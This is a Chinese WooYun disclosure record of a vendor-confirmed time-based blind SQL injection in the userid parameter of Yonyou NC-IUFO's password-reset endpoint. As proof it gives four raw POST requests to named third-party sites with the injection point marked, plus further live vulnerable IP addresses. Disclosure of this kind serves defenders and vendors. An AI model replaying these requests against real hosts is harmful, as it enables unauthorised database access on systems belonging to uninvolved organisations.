当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091060

漏洞标题:用友NC-IUFO系统通用SQL注入(三)

相关厂商:用友软件

漏洞作者: 路人甲

提交时间:2015-01-13 17:05

修复时间:2015-04-13 17:06

公开时间:2015-04-13 17:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-13: 细节已通知厂商并且等待厂商处理中
2015-01-13: 厂商已经确认,细节仅向厂商公开
2015-01-16: 细节向第三方安全合作伙伴开放
2015-03-09: 细节向核心白帽子及相关领域专家公开
2015-03-19: 细节向普通白帽子公开
2015-03-29: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

...

详细说明:

该系统“忘记密码”模块存在sql注入漏洞
链接地址为:/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=1234

QQ图片20150110164630.png


说明:输入用户名和邮箱后提交,程序会提交给 /epp/core(可从抓取的数据包中看到),
漏洞参数:userid
数据库系统:oracle
注入类型:AND/OR time-based blind
这里直接给出证明案例(列出数据库实例名称即可、不深入):
0x01; http://nc.xhlbdc.com/epp/

POST /epp/core HTTP/1.1
Host: nc.xhlbdc.com
Proxy-Connection: keep-alive
Content-Length: 107
Origin: http://nc.xhlbdc.com
Method: POST /epp/core HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: http://nc.xhlbdc.com/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=8438
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=0000zdbG9i3ttIPJ7g2Ayl4KoRm:175j517sp
userid=*&email=&type=forgetPWD&pageId=forgetpwd&pageUniqueId=177ef747-d34f-4076-b627-bf97720fbbdf&isAjax=1


QQ图片20150110165610.jpg


0x02: http://nc.pinggugroup.com:81/epp/

POST /epp/core HTTP/1.1
Host: nc.pinggugroup.com:81
Proxy-Connection: keep-alive
Content-Length: 111
Origin: http://nc.pinggugroup.com:81
Method: POST /epp/core HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: http://nc.pinggugroup.com:81/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=7158
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=0000ZPRlAAMZqeOX2_DUd6dPukK:-1
userid=*&email=aaaaa&type=forgetPWD&pageId=forgetpwd&pageUniqueId=ef251f23-ae34-4047-95f0-2f95f3085cf2&isAjax=1


QQ图片20150110165121.jpg


0x03: http://123.232.105.202/epp/

POST /epp/core HTTP/1.1
Host: 123.232.105.202
Proxy-Connection: keep-alive
Content-Length: 111
Origin: http://123.232.105.202
Method: POST /epp/core HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: http://123.232.105.202/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=4522
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=0000FoJ4EiDJNB9px4Q_Y3g01j9:-1
userid=*&email=aaaaa&type=forgetPWD&pageId=forgetpwd&pageUniqueId=a4004558-4d36-4b1e-a397-6b8217320613&isAjax=1


QQ图片20150110171850.jpg


0x04: http://zfkg.com:8081/epp/

POST /epp/core HTTP/1.1
Host: zfkg.com:8081
Proxy-Connection: keep-alive
Content-Length: 110
Origin: http://zfkg.com:8081
Method: POST /epp/core HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: http://zfkg.com:8081/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=1234
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=843FB4AB3D3B82DDDC089308B9A97A23.server; JSESSIONID=9F6DE9B77CB36498D032BE46B92A6C54.server
userid=*&email=aaaa&type=forgetPWD&pageUniqueId=78c7cfa2-6909-4ee5-b72b-3098364a5369&pageId=forgetpwd&isAjax=1


QQ图片20150110171723.jpg


http://202.136.213.21/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=1234
http://61.175.97.50//epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=1234

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-01-13 19:37

厂商回复:

多谢!

最新状态:

暂无


漏洞评价:

评论